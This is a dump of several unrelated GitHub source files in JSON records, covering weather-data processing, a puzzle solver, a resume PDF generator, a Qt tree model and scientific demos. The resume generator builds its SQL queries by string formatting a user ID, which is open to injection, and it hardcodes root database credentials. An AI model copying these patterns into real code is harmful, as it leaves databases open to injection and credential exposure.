+{"seq_id":"9091938489","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan  7 17:25:58 2022\n\n@author: chedozea\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport datetime as dt\nimport xarray as xr\n\nimport os\n\n\nfrom tqdm import tqdm\n\n\n\ndef collect_arpege2D(workdir):\n\n    # Data_paths\n    path_train = workdir+'DATA_RAINFALL/Train/Train/'\n    path_test = workdir+'DATA_RAINFALL/Test/Test/'\n    \n    \n    # Retrieve Arpege Grid\n    fname = path_train+'X_forecast/2D_arpege_20170214.nc'\n    data = xr.open_dataset(fname)\n    arpege_lat = np.array(data['latitude'])\n    arpege_lon = np.array(data['longitude'])\n    \n    # Retrieve station coordinates\n    stat_coords = pd.read_csv(workdir+\"DATA_RAINFALL/Other/Other/stations_coordinates.csv\")\n    \n    \n    # Correspondance table between station coordinates and grid points\n    arpg_lats = []\n    arpg_lons = []\n    arpg_ilat = []\n    arpg_ilon = []\n    for i in stat_coords.index:\n        lat = stat_coords.loc[i, 'lat']\n        lon = stat_coords.loc[i, 'lon']\n    \n        indx_lat = np.argmin(np.abs(arpege_lat - lat))\n        indx_lon = np.argmin(np.abs(arpege_lon - lon))\n    \n        arpg_ilat += [indx_lat]\n        arpg_ilon += [indx_lon]\n    \n        arpg_lats += [arpege_lat[indx_lat]]\n        arpg_lons += [arpege_lon[indx_lon]]\n    #print([arpg_lats, arpg_lons])\n\n    ################################################################################\n    #                                                                              #\n    # Collecting X_forecast (train) at certain grid points and saving to .csv file #\n    #                                                                              #\n    ################################################################################\n    \n\n    nb_dates = 637\n    nb_stations = 325\n    features = ['ws','p3031', 'u10', 'v10', 't2m', 'd2m', 'r', 'tp', 'msl']\n    \n    \n    i=0\n    ARPEGE_2D = np.zeros((nb_dates*nb_stations*24, len(features) ))   # date, station, feature, time of day   \n    dates_and_stats = np.empty((nb_dates*nb_stations*24,2), dtype='object')\n    path_arpg_train = path_train+'2D_arpege_train'\n    with tqdm(total=nb_dates, desc=\"Collecting X_forecast (training)\", bar_format=\"{l_bar}{bar} [ time left: {remaining} ]\") as pbar:\n        for r,d,f in os.walk(path_arpg_train):\n            if f!= []:\n                for filename in f:\n                    f_path = os.path.join(r,filename)\n                    data = xr.open_dataset(f_path)\n                    dates = np.tile((np.array(data['valid_time']))[:24],nb_stations)\n                    stations = np.repeat(stat_coords['number_sta'],24)\n                    dates_and_stats[i*(nb_stations*24) : (i+1)*(nb_stations*24) ,0] = dates\n                    dates_and_stats[i*(nb_stations*24) : (i+1)*(nb_stations*24) ,1] = stations\n                    for f in range(len(features)):\n                        feat = features[f]\n                        if feat == 'tp': # rainfall per hour instead of cumulated rainfall\n                            a = np.array(data[feat])[:,arpg_ilat, arpg_ilon]\n                            a[0,:] = 0\n                            b = a[1:,:] - a[:-1,:]\n                            ARPEGE_2D[i*(nb_stations*24) : (i+1)*(nb_stations*24),f] = (b.T).flatten()\n                        else:\n                            a = np.array(data[feat])[:24,arpg_ilat, arpg_ilon]\n                            ARPEGE_2D[i*(nb_stations*24) : (i+1)*(nb_stations*24),f] = (a.T).flatten()\n                    i+=1\n                    pbar.update(1)\n                \n    X_arpege_2D= pd.DataFrame(dates_and_stats, columns= ['date', 'number_sta'])\n    X_arpege_2D['date'] = pd.to_datetime(X_arpege_2D['date'])\n    X_arpege_2D[features] = ARPEGE_2D\n    print(\"Saving .csv file......\")\n    X_arpege_2D.to_csv(path_train+'2D_arpege_train.csv', sep = ',')\n    print(\"Done.\")\n    \n    \n    \n    ################################################################################\n    #                                                                              #\n    # Collecting X_forecast (test) at certain grid points and saving to .csv file  #\n    #                                                                              #\n    ################################################################################\n    \n    \n    \n    nb_dates = 363\n    \n    i=0\n    ARPEGE_2D = np.zeros((nb_dates*nb_stations*24,9))   # date, station, feature, time of day   \n    ARPEGE_2D[:] = np.nan\n    dates_and_stats = np.empty((nb_dates*nb_stations*24,2), dtype='object')\n    path_arpg_test = 'DATA_RAINFALL/Test/Test/2D_arpege_test'\n    with tqdm(total=nb_dates, desc=\"Collecting X_forecast (test)\", bar_format=\"{l_bar}{bar} [ time left: {remaining} ]\") as pbar2:\n        for r,d,f in os.walk(path_arpg_test):\n            if f!= []:\n                for filename in f:\n                    f_path = os.path.join(r,filename)\n                    data = xr.open_dataset(f_path)\n                    dates = np.tile((np.array(data['Id']))[:24],nb_stations)\n                    stations = np.repeat(stat_coords['number_sta'],24)\n                    dates_and_stats[i*(nb_stations*24) : (i+1)*(nb_stations*24) ,0] = dates\n                    dates_and_stats[i*(nb_stations*24) : (i+1)*(nb_stations*24) ,1] = stations\n                    for f in range(len(features)):\n                        feat = features[f]\n                        if feat in list(data.data_vars):\n                            if feat == 'tp':\n                                a = np.array(data[feat])[:,arpg_ilat, arpg_ilon]\n                                a[0,:] = 0\n                                b = a[1:,:] - a[:-1,:]\n                                ARPEGE_2D[i*(nb_stations*24) : (i+1)*(nb_stations*24),f] = (b.T).flatten()\n                            else:\n                                a = np.array(data[feat])[:24,arpg_ilat, arpg_ilon]\n                                ARPEGE_2D[i*(nb_stations*24) : (i+1)*(nb_stations*24),f] = (a.T).flatten()\n                        #print(f_path)\n                    i+=1\n                    pbar2.update(1)\n                    \n                for day in [137,351]: # days with no data but necessary for kaggle submission\n                    date_ids = []\n                    for hr in range(24):\n                        date_ids += [ str(day)+\"_\"+str(hr)]\n                    dates = np.tile(date_ids,nb_stations)\n                    stations = np.repeat(stat_coords['number_sta'],24)\n                    dates_and_stats[i*(nb_stations*24) : (i+1)*(nb_stations*24) ,0] = dates\n                    dates_and_stats[i*(nb_stations*24) : (i+1)*(nb_stations*24) ,1] = stations\n                    i+=1\n                    pbar2.update(1)\n    \n    X_arpege_2D= pd.DataFrame(dates_and_stats, columns= ['date', 'number_sta'])\n    X_arpege_2D[features] = ARPEGE_2D\n    \n    # Remplissage des dates sans données par la moyenne des colonnes\n    means = np.nanmean(X_arpege_2D.iloc[:,2:].values, axis=0)\n    means = pd.Series(means, index = X_arpege_2D.columns[2:])\n    X_arpege_2D = X_arpege_2D.fillna(value = means, axis = 0)\n    \n    print(\"Saving .csv file......\")\n    X_arpege_2D.to_csv(path_test+'2D_arpege_test.csv', sep = ',')\n    print(\"Done.\")\n    \n    \n    \nif __name__ == \"__main__\":\n    collect_arpege2D('/home/chedozea/5eANNEE/AI-Frameworks/Defi-IA_scratch/')","repo_name":"AChedozeau/Defi-IA-2022","sub_path":"utils/collect_data.py","file_name":"collect_data.py","file_ext":"py","file_size_in_byte":7423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"73881339131","text":"import heapq\nfrom typing import Generator, Iterable, Set, Tuple\nimport itertools\n\n\nDIRECTIONS = ((0, -1), (1, 0), (-1, 0), (0, 1), (0, 0))\nBLIZZARD_MOVES = (\n    ('<', 0, -1),\n    ('>', 0, 1),\n    ('^', -1, 0),\n    ('v', 1, 0)\n)\n\ndef load_input_file(file_name: str) -> str:\n    with open(file_name) as file:\n        return file.read().rstrip()\n\n\ndef load_input_file(file_name: str) -> Generator[str, None, None]:\n    with open(file_name) as file:\n        yield from (line.rstrip() for line in file)\n\n\ndef parse(task_input: Iterable[str]) -> Tuple[Set[Tuple[str, int, int]], int, int]:\n    row_size = 0\n    column_size = 0\n\n    blizzards = set()\n    for row_index, line in enumerate(task_input):\n        for column_index, character in enumerate(line):\n            if character in '><^v':\n                blizzards.add((character, row_index - 1, column_index - 1))\n\n        column_size = column_index - 1\n    row_size = row_index - 1\n\n    return blizzards, row_size, column_size\n\n\ndef find_path_length(\n        blizzards_map: Set[Tuple[str, int, int]],\n        row_size: int,\n        column_size: int,\n        start_point: Tuple[int, int],\n        end_point: Tuple[int, int],\n        start_time: int) -> int:\n\n\n    def heuristic(current_point: Tuple[int, int], time: int) -> int:\n        return abs(current_point[0] - end_point[0]) + abs(current_point[1] - end_point[1]) + abs(time - start_time)\n\n\n    def is_blizzard_in_coordinates(row_index: int, column_index: int, time: int) -> bool:\n        return blizzards_map & set((\n                d,\n                (row_index - time * y) % row_size,\n                (column_index - time * x) % column_size,\n            ) for d, y, x in BLIZZARD_MOVES)\n\n\n    def get_possibilities(row_index: int, column_index: int, time: int) -> bool:\n        time += 1\n        for r, c in DIRECTIONS:\n            nr, nc = r + row_index, c + column_index\n\n            if nr < 0 or nr > row_size or nc < 0 or nc > column_size:\n                continue\n\n            if not is_blizzard_in_coordinates(nr, nc, time):\n                yield nr, nc, time\n\n\n    for first_leave_time in itertools.count(start_time + 1):\n        if not is_blizzard_in_coordinates(*start_point, first_leave_time):\n            break\n\n    to_check = [(heuristic(start_point, first_leave_time), *start_point, first_leave_time)]\n    seen = set(to_check)\n\n    while to_check:\n        _, row_index, column_index, time = heapq.heappop(to_check)\n\n        if (row_index, column_index) == end_point:\n            return time + 1\n\n        for new_row_index, new_column_index, new_time in get_possibilities(row_index, column_index, time):\n            if (new_row_index, new_column_index, new_time) in seen:\n                continue\n\n            seen.add((new_row_index, new_column_index, new_time))\n            heapq.heappush(\n                to_check,\n                (heuristic((new_row_index, new_column_index), new_time), new_row_index, new_column_index, new_time)\n            )\n    \n    raise Exception('No path find!')\n\n\ndef solution_for_first_part(task_input: Iterable[str]) -> int:\n    blizzards, row_size, column_size = parse(task_input)\n    start_point = 0, 0\n    end_point = row_size - 1, column_size - 1\n\n    return find_path_length(blizzards, row_size, column_size, start_point, end_point, 0)\n\n\nexample_input = '''#.######\n#>>.<^<#\n#.<..<<#\n#>v.><>#\n#<^v^^>#\n######.#'''.splitlines()\n\nassert solution_for_first_part(example_input) == 18\n\n# The input is taken from: https://adventofcode.com/2022/day/24/input\ntask_input = list(load_input_file('input.24.txt'))\nprint(\"Solution for the first part:\", solution_for_first_part(task_input))\n\n\ndef solution_for_second_part(task_input: Iterable[str]) -> int:\n    blizzards, row_size, column_size = parse(task_input)\n    start_point = 0, 0\n    end_point = row_size - 1, column_size - 1\n\n    shortest_path_length = lambda sp, ep, st: find_path_length(blizzards, row_size, column_size, sp, ep, st)\n\n    time1 = shortest_path_length(start_point, end_point, 0)\n    time2 = shortest_path_length(end_point, start_point, time1)\n    return shortest_path_length(start_point, end_point, time2)\n\n\nassert solution_for_second_part(example_input) == 54\nprint(\"Solution for the second part:\", solution_for_second_part(task_input))\n","repo_name":"dplocki/advent-of-code","sub_path":"2022/2022_24.py","file_name":"2022_24.py","file_ext":"py","file_size_in_byte":4254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"10851158078","text":"# Module 5\n#   Programming Assignment 6\n#       Prob-2.py\n\n# Edward\n\nfrom graphics import *\n\n\ndef main():\n    win = GraphWin()\n    # added rectangle instead of circle and had to add another point on x,y for the rectangle\n    shape = Rectangle(Point(50, 50), Point(120, 120))\n    # made it a new color just cause also got rid of outline\n    shape.setFill(\"Blue\")\n    shape.draw(win)\n    for i in range(5):\n        p = win.getMouse()\n        c = shape.getCenter()\n        dx = p.getX() - c.getX()\n        dy = p.getY() - c.getY()\n        shape.move(dx, dy)\n    win.close()\n\n\nmain()\n","repo_name":"CTEC-121-Spring-2020/mod-4-programming-assignment-edwardbramel","sub_path":"Prob-2/Prob-2.py","file_name":"Prob-2.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42054813687","text":"from utils.functions import feature_engineering\nfrom utils.predict_page import show_predict_page\nfrom utils.explore_page import show_explore_page\nfrom utils.model_page import compare_model_page\nfrom utils.libraries import *\nfrom utils import config\n\n\ndef side_menu():\n    try:\n        data = pd.read_csv(config.main_data)\n        data = feature_engineering(data)\n    except NameError:\n        print(\"Some problem with file...\")\n\n    page = st.sidebar.selectbox(\"Explore Or Predict Or Else\", (\"Understanding the Data\", \"Compare Models\", \"Predict\"))\n\n    if page == \"Understanding the Data\":\n        show_explore_page(data)\n    elif page == \"Compare Models\":\n        data.dropna(inplace=True)\n        compare_model_page(data)\n    elif page == \"Predict\":      \n        show_predict_page(data)\n\n\nif __name__ == '__main__':\n    side_menu()\n# 7/05/2023\n","repo_name":"somanathkshirsagar/-LeastSquare","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"17987668827","text":"from reportlab.platypus import SimpleDocTemplate, Paragraph, Table, TableStyle\nfrom reportlab.platypus.flowables import Spacer\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom reportlab.rl_config import defaultPageSize\nfrom reportlab.lib.units import inch, cm\nfrom reportlab.lib import colors\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.pdfgen import canvas\nfrom reportlab.pdfbase import pdfdoc\nfrom reportlab.pdfbase.pdfmetrics import registerFont, registerFontFamily\nfrom reportlab.pdfbase.ttfonts import TTFont\nfrom reportlab.lib.enums import TA_RIGHT\nimport mysql.connector\nfrom pdf2docx import Converter\n\nmydb = mysql.connector.connect(\n  host=\"localhost\",\n  user=\"root\",\n  password=\"root\",\n  database=\"vista1\"\n)\nmycursor = mydb.cursor()\n\n\n\ndef generateResume(userID):\n    # Import our font\n    registerFont(TTFont('Inconsolata', 'static/fonts/Inconsolata-Regular.ttf'))\n    registerFont(TTFont('InconsolataBold', 'static/fonts/Inconsolata-Bold.ttf'))\n    registerFontFamily('Inconsolata', normal='Inconsolata', bold='InconsolataBold')\n\n    # Set the page height and width\n    HEIGHT = 11 * inch\n    WIDTH = 8.5 * inch\n\n    # Set our styles\n    styles = getSampleStyleSheet()\n    styles.add(ParagraphStyle(name='Content',\n                            fontFamily='Inconsolata',\n                            fontSize=8,\n                            spaceAfter=.1*inch))\n                                \n\n\n    def generate_print_pdf(data, contact):\n\n        # sql = \"SELECT * FROM tbl_user_master WHERE User_Id=3\"\n        # mycursor.execute(sql)\n        # result= mycursor.fetchone()\n        # mydb.commit()\n        # print(result)\n        # print(len(result))\n        \n        pdfname = 'static/resumes/%s.pdf' % (userID)\n        doc = SimpleDocTemplate(\n            pdfname,\n            pagesize=letter,\n            bottomMargin=.5 * inch,\n            topMargin=.7 * inch,\n            rightMargin=.4 * inch,\n            leftMargin=.4 * inch)  # set the doc template\n        style = styles[\"Normal\"]  # set the style to normal\n        story = []  # create a blank story to tell\n        contentTable = Table(\n            data,\n            colWidths=[\n                0.8 * inch,\n                6.9 * inch])\n        tblStyle = TableStyle([\n            ('TEXTCOLOR', (0, 0), (-1, -1), colors.black),\n            ('FONT', (0, 0), (-1, -1), 'Inconsolata'),\n            ('FONTSIZE', (0, 0), (-1, -1), 8),\n            ('VALIGN', (0, 0), (-1, -1), 'TOP'),\n            ('ALIGN', (0, 0), (-1, -1), 'LEFT')])\n        contentTable.setStyle(tblStyle)\n        story.append(contentTable)\n        doc.build(\n            story,\n            onFirstPage=myPageWrapper(\n                contact)\n            )\n        return pdfname\n\n\n    \"\"\"\n        Draw the framework for the first page,\n        pass in contact info as a dictionary\n    \"\"\"\n    def myPageWrapper(contact):\n        # template for static, non-flowables, on the first page\n        # draws all of the contact information at the top of the page\n        def myPage(canvas, doc):\n            canvas.saveState()  # save the current state\n            canvas.setFont('InconsolataBold', 16)  # set the font for the name\n            canvas.drawString(\n                .4 * inch,\n                HEIGHT - (.4 * inch),\n                contact['name'])  # draw the name on top left page 1\n            canvas.setFont('Inconsolata', 8)  # sets the font for contact\n            canvas.drawRightString(\n                WIDTH - (.4 * inch),\n                HEIGHT - (.4 * inch),\n                contact['website'])  \n            canvas.line(.4 * inch, HEIGHT - (.47 * inch), \n                WIDTH - (.4 * inch), HEIGHT - (.47 * inch))\n            canvas.drawString(\n                .4 * inch,\n                HEIGHT - (.6 * inch),\n                contact['phone'])\n            canvas.drawCentredString(\n                WIDTH / 2.0,\n                HEIGHT - (.6 * inch),\n                contact['address'])\n            canvas.drawRightString(\n                WIDTH - (.4 * inch),\n                HEIGHT - (.6 * inch),\n                contact['email'])\n            # restore the state to what it was when saved\n            canvas.restoreState()\n        return myPage\n\n    if __name__ == \"__main__\":\n        sql_qry1 = \"SELECT * FROM tbl_user_master WHERE User_Id=%s\" % (userID)\n        sql_qry2 = \"SELECT * FROM tbl_user_education WHERE User_Id=%s\" % (userID)\n        sql_qry3 = \"SELECT * FROM tbl_user_experience WHERE User_Id=%s\" % (userID)\n        sql_qry4 = \"SELECT * FROM tbl_user_projects WHERE User_Id=%s\" % (userID)\n        sql_qry5 = \"SELECT * FROM tbl_user_prof WHERE User_Id=%s\" % (userID)\n        sql_qry6 = \"SELECT * FROM tbl_user_tech_skills WHERE User_Id=%s\" % (userID)\n        sql_qry7 = \"SELECT * FROM tbl_user_activities WHERE User_Id=%s\" % (userID)\n        sql_qry8 = \"SELECT * FROM tbl_user_scocial_media WHERE User_Id=%s\" % (userID)\n\n        mycursor.execute(sql_qry1)\n        result= mycursor.fetchall()\n        #mydb.commit()\n        #print(result)\n        info_list=[]\n        info_main=[]\n        for i in range(len(result)):\n            info_list.append(result[i])\n            print(info_list)\n            for j in range(2,len(info_list[i])):\n                info_main.append(info_list[i][j])\n            info_main.append('

')\n print(info_main)\n\n \n mycursor.execute(sql_qry2)\n result1= mycursor.fetchall()\n #mydb.commit()\n edu_list=[]\n edu_main=[]\n for i in range(len(result1)):\n edu_list.append(result1[i])\n for j in range(2,len(edu_list[i])):\n edu_main.append(edu_list[i][j])\n edu_main.append(' ')\n \n edu_main.append('

')\n \n\n\n \n mycursor.execute(sql_qry3)\n result2= mycursor.fetchall()\n exp_list=[]\n exp_main=[]\n for i in range(len(result2)):\n exp_list.append(result2[i])\n for j in range(2,len(exp_list[i])):\n exp_main.append(exp_list[i][j])\n exp_main.append(' ')\n exp_main.append('

')\n \n\n\n mycursor.execute(sql_qry4)\n result3= mycursor.fetchall()\n #mydb.commit()\n proj_list=[]\n proj_main=[]\n for i in range(len(result3)):\n proj_list.append(result3[i])\n for j in range(2,len(proj_list[i])):\n proj_main.append(proj_list[i][j])\n proj_main.append(' ')\n proj_main.append('

')\n \n\n\n \n mycursor.execute(sql_qry5)\n result4= mycursor.fetchall()\n #mydb.commit()\n profs_list=[]\n profs_main=[]\n for i in range(len(result4)):\n profs_list.append(result4[i])\n for j in range(2,len(profs_list[i])):\n profs_main.append(profs_list[i][j])\n profs_main.append(' ')\n \n\n\n\n mycursor.execute(sql_qry6)\n result5= mycursor.fetchall()\n #mydb.commit()\n skills_list=[]\n skills_main=[]\n for i in range(len(result5)):\n skills_list.append(result5[i])\n for j in range(2,len(skills_list[i])):\n skills_main.append(skills_list[i][j])\n skills_main.append(',')\n\n\n\n mycursor.execute(sql_qry7)\n result6= mycursor.fetchall()\n #mydb.commit()\n activ_list=[]\n activ_main=[]\n for i in range(len(result6)):\n activ_list.append(result6[i])\n for j in range(2,len(activ_list[i])):\n activ_main.append(activ_list[i][j])\n activ_main.append(' ')\n\n\n mycursor.execute(sql_qry8)\n result7= mycursor.fetchall()\n #mydb.commit()\n soc_list=[]\n soc_main=[]\n for i in range(len(result7)):\n soc_list.append(result7[i])\n for j in range(2,len(soc_list[i])):\n soc_main.append(soc_list[i][j])\n soc_main.append(',')\n soc_main.append('

')\n\n \n contact = {\n 'name': ' '.join(info_main[1:4]),\n 'website':' '.join(soc_main[3]) ,\n 'email': str(info_main[6]),\n 'address': 'Andhra Pradesh ,Vizianagaram, 535221',\n 'phone': str(info_main[7])\n }\n data = {\n \n 'education':\n [(' '.join(str(v) for v in edu_main))],\n\n 'experience':[(' '.join(str(v) for v in exp_main))],\n\n 'summary': [(' '.join(str(v) for v in profs_main))],\n\n 'projects':[(' '.join(str(v) for v in proj_main))],\n\n 'skills':[(' '.join(str(v) for v in skills_main))],\n\n 'activities':[(' '.join(str(v) for v in activ_main))],\n\n 'socailmedia':[(' '.join(str(v) for v in soc_main))],\n }\n \n #print(data['education'])\n tblData = [\n ['EDUCATION', [Paragraph(x, styles['Content']) for x in data['education']]],\n ['EXPERINCE',[Paragraph(x, styles['Content']) for x in data['experience']]],\n ['SUMMARY',[Paragraph(x, styles['Content']) for x in data['summary']]],\n ['PROJECTS',[Paragraph(x, styles['Content']) for x in data['projects']]] ,\n ['ACTIVITIES', [Paragraph(x, styles['Content']) for x in data['activities']]],\n ['SOCAIL MEDIA',[Paragraph(x, styles['Content']) for x in data['socailmedia']]],\n ['SKILLS', [Paragraph(x, styles['Content']) for x in data['skills']]],\n ]\n generate_print_pdf(tblData, contact)\n\n\n\n\n try:\n # Converting PDF to Docx\n cv_obj = Converter('static/resumes/%s.pdf' % (userID))\n cv_obj.convert('static/resumes/%s.docx' % (userID) )\n cv_obj.close()\n\n except:\n print('Conversion Failed')\n \n else:\n print('File Converted Successfully')\n","repo_name":"mohanganivada/WorkflowManagementSystem","sub_path":"cview/pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":9907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35480806215","text":"\"\"\"\n@License\n\"\"\"\n\n# Python Imports\nfrom collections import OrderedDict\n\n# Third party imports\nfrom ..qt_bindings import Qt, QtCore, QtGui\n\n# Local imports\nfrom siva.types.hierarchy import Node\n\n\nDB = False\nclass TreeModel(QtCore.QAbstractItemModel):\n def __init__(self, root=None, parent=None, descriptors=None, headers=None):\n\n super(TreeModel, self).__init__(parent)\n\n self.numColumns = 0\n\n # From the Qt \"Simple Tree Model Example\": The root item in the tree structure has no parent\n # item and it is never referenced outside the model.\n #del.index(0,0, QModelIndex())\n if root is None:\n self.root = Node()\n else:\n self.root = root\n\n if descriptors is None:\n if hasattr(root, '_descriptors'):\n self.descriptors = root._descriptors\n else:\n self.descriptors = OrderedDict()\n else:\n self.descriptors = descriptors\n\n if headers is None:\n self.headers = [d.attr for d in self.descriptors.values()]\n else:\n self.headers = headers\n\n # ----------------------------------------------------------\n # QAbstractItemModel Interface\n # ----------------------------------------------------------\n def index(self, row, column, parentIndex):\n \"Returns the index of the item in the model specified by the given row, column and parent index.\"\n\n if not self.hasIndex(row, column, parentIndex):\n return QtCore.QModelIndex()\n\n if not parentIndex.isValid():\n # If requesting the root node,\n # the column value doesn't matter\n return self.createIndex(row, column, self.root)\n\n else:\n parent = self.getItem(parentIndex)\n child = parent.get_child_by_index(row)\n return self.createIndex(row, column, child)\n\n def parent(self, childIndex):\n \"Returns an index to the parent of child indexed by childIndex\"\n\n if not childIndex.isValid():\n return QtCore.QModelIndex()\n\n child = childIndex.internalPointer()\n\n # The parent of the root is an invalid QModelIndex\n if child is self.root:\n return QtCore.QModelIndex()\n\n parent = child.get_parent()\n if parent is None:\n return QtCore.QModelIndex()\n\n grandparent = parent.get_parent()\n if grandparent:\n row = grandparent.find_index_of_child(parent)\n else:\n row = 0\n return self.createIndex(row, 0, parent) # Column is 0 for this tree implementation\n\n\n\n\n def data(self, index, role):\n if DB:\n print(\"Data called:\", index.row(), index.column(), index.internalPointer().name)\n\n if role == Qt.TextAlignmentRole:\n return int(Qt.AlignTop|Qt.AlignLeft)\n\n if not index.isValid():\n return None\n\n obj = self.getItem(index)\n\n col = index.column()\n row = index.row()\n descriptor = obj._descriptors.get(self.headers[col])\n assert descriptor is not None\n\n if role == Qt.DisplayRole:\n if descriptor.checkbox:\n # No text, just a checkbox\n return None\n return descriptor.data(obj)\n\n if role == Qt.EditRole:\n return descriptor.data(obj)\n\n if role == Qt.UserRole:\n return None\n\n if role == Qt.ToolTipRole:\n return descriptor.tool_tip\n\n if role == Qt.DecorationRole:\n return descriptor.getIcon(obj)\n\n if role == Qt.FontRole:\n return descriptor.getFont(obj)\n\n if role == Qt.ForegroundRole:\n return descriptor.getFontColor(obj)\n\n if role == Qt.BackgroundRole:\n return descriptor.getBGColor(obj)\n\n if role == Qt.CheckStateRole:\n if obj is None:\n return None\n if not descriptor.checkbox:\n return None\n return descriptor.checkState(obj)\n return None\n\n def setData(self, index, value, role):\n descriptor = self.get_descriptor(index)\n\n obj = self.getItem(index)\n result = False\n\n if role == Qt.EditRole and descriptor.editable:\n result = descriptor.setData(obj, value)\n\n if role==Qt.CheckStateRole:\n if descriptor.checkbox:\n if value == Qt.Checked:\n descriptor.setData(obj, True)\n elif value == Qt.Unchecked:\n descriptor.setData(obj, False)\n result = True\n\n if result:\n self.dataChanged.emit(index, index)\n return False\n\n def flags(self, index):\n if not index.isValid():\n return 0\n descriptor = self.get_descriptor(index)\n obj = self.getItem(index)\n flags = descriptor.flags(obj)\n return flags\n\n def columnCount(self, parent):\n return len(self.headers)\n\n def rowCount(self, parentIndex):\n \"Returns the number of rows under the given parent\"\n\n # Only column 0 has any children...\n if parentIndex.column() > 0:\n return 0\n if not parentIndex.isValid():\n # Root element(s)\n return 1\n parent = self.getItem(parentIndex)\n return len(parent.get_children())\n\n def hasIndex(self, row, column, parentIndex=QtCore.QModelIndex()):\n \"\"\"Returns true if the model returns a valid PySide.QtCore.QModelIndex for row and column with parent,\n otherwise returns false.\n \"\"\"\n\n if row < 0 or column < 0:\n return False\n elif row < self.rowCount(parentIndex) and column < self.columnCount(parentIndex):\n return True\n else:\n return False\n\n def hasChildren(self, parentIndex):\n parent = self.getItem(parentIndex)\n return len(parent.get_children()) > 0\n\n def headerData(self, section, orientation, role):\n if DB:\n print(\"HeaderData (\", section, \"): \", self.descriptors[section])\n if orientation == Qt.Horizontal and role == Qt.DisplayRole:\n try:\n return self.headers[section]\n except IndexError:\n return None\n return None\n\n # ----------------------------------------------------------\n # Helper Methods\n # ----------------------------------------------------------\n\n def getItem(self, index):\n \"Retrieves the model item referred to by the QModelIndex\"\n if index.isValid():\n return index.internalPointer()\n else:\n return self.root\n\n def get_descriptor(self, index):\n attr = self.headers[index.column()]\n descriptor = self.descriptors[attr]\n return descriptor\n\nclass TreeView(QtGui.QTreeView):\n\n def __init__(self, parent=None, model=None, path=None):\n super(TreeView, self).__init__(parent)\n self.setSelectionBehavior(QtGui.QTreeView.SelectItems)\n self.setUniformRowHeights(True)\n\n if model is None:\n model = TreeModel(self)\n self.setModel(model)\n self.expanded()\n\n def show_headers(self,headers):\n for header in headers:\n self.model().headers.append(header)\n \"\"\"\n def currentFields(self):\n return self.model().asRecord(self.currentIndex())\n\n\n def activated(self, index):\n self.emit(SIGNAL(\"activated\"), self.model().asRecord(index))\n\n \"\"\"\n def expanded(self):\n for column in range(self.model().columnCount(\n QtCore.QModelIndex()\n )):\n self.resizeColumnToContents(column)\n\n","repo_name":"jasonpjacobs/Siva","sub_path":"siva/types/tree_model.py","file_name":"tree_model.py","file_ext":"py","file_size_in_byte":7701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"23839823144","text":"import random\nimport numpy as np\nimport SimpleITK as sitk\nimport os\n\ndef readimage(filename):\n return sitk.ReadImage(filename)\n\ndef get_ids(dir):\n \"\"\"Returns a list of the ids in the directory\"\"\"\n return (f[:-4] for f in os.listdir(dir))\n\ndef resize_and_crop(pilimg, scale=0.5, final_height=None):\n\n n = sitk.GetArrayFromImage(pilimg)\n new_n = n[1:49, 1:49]\n \n return new_n\n\ndef split_train_val(dataset, val_percent=0.05):\n dataset = list(dataset)\n length = len(dataset)\n n = int(length * val_percent)\n random.shuffle(dataset)\n return {'train': dataset[:-n], 'val': dataset[-n:]}\n\ndef channalize_mask(mask):\n \n new_mask = np.zeros((48, 48, 6), dtype = np.float)\n \n for i in range(0, 48):\n \n for j in range(0, 48):\n \n if mask[i, j] != 0:\n\n new_mask[i, j, mask[i, j] - 1] = 1\n \n return new_mask\n\n\n","repo_name":"charlotte12l/UNet-Brain-Segmentation","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"8459158897","text":"\"\"\"This demo program solves Poisson's equation\n\n - div grad u(x, y) = f(x, y)\n\non the unit square with source f given by\n\n f(x, y) = exp(-((x - 0.5)^2 + (y - 0.5)^2) / 0.02)\n\n\"\"\"\n\n# Begin demo\n\nfrom dolfin import *\n\nclass PeriodicBoundary(SubDomain):\n\n # Left boundary is \"target domain\" G\n def inside(self, x, on_boundary):\n # return True if on left or bottom boundary AND NOT on one of the two corners (0, 1) and (1, 0)\n return bool((near(x[0], 0) or near(x[1], 0)) and \n (not ((near(x[0], 0) and near(x[1], 1)) \n or \n (near(x[0], 1) and near(x[1], 0)))\n ) and on_boundary)\n\n def map(self, x, y):\n if near(x[0], 1) and near(x[1], 1):\n y[0] = x[0] - 1.\n y[1] = x[1] - 1.\n elif near(x[0], 1):\n y[0] = x[0] - 1.\n y[1] = x[1]\n else: # near(x[1], 1)\n y[0] = x[0]\n y[1] = x[1] - 1.\n \n\n# Create mesh and define function space\nmesh = Mesh(\"square.xml\")\nsubdomains = MeshFunction(\"size_t\", mesh, \"square_facet_region.xml\")\npbc = PeriodicBoundary()\nV = FunctionSpace(mesh, \"Lagrange\", 1, constrained_domain=pbc)\n\n# boundary conditions\nu0 = Constant(0.0)\nbc0 = DirichletBC(V, u0, subdomains, 2)\nbc1 = DirichletBC(V, u0, subdomains, 4)\nbcs = [bc0, bc1]\n\n# Define variational problem\nu = TrialFunction(V)\nv = TestFunction(V)\nf = Expression(\"exp(-(pow(x[0] - 0.5, 2) + pow(x[1] - 0.5, 2))/ 0.02)\")\na = inner(grad(u), grad(v))*dx\nL = f*v*dx\n\n# Compute solution\nu = Function(V)\nsolve(a == L, u, bcs)\n\n# 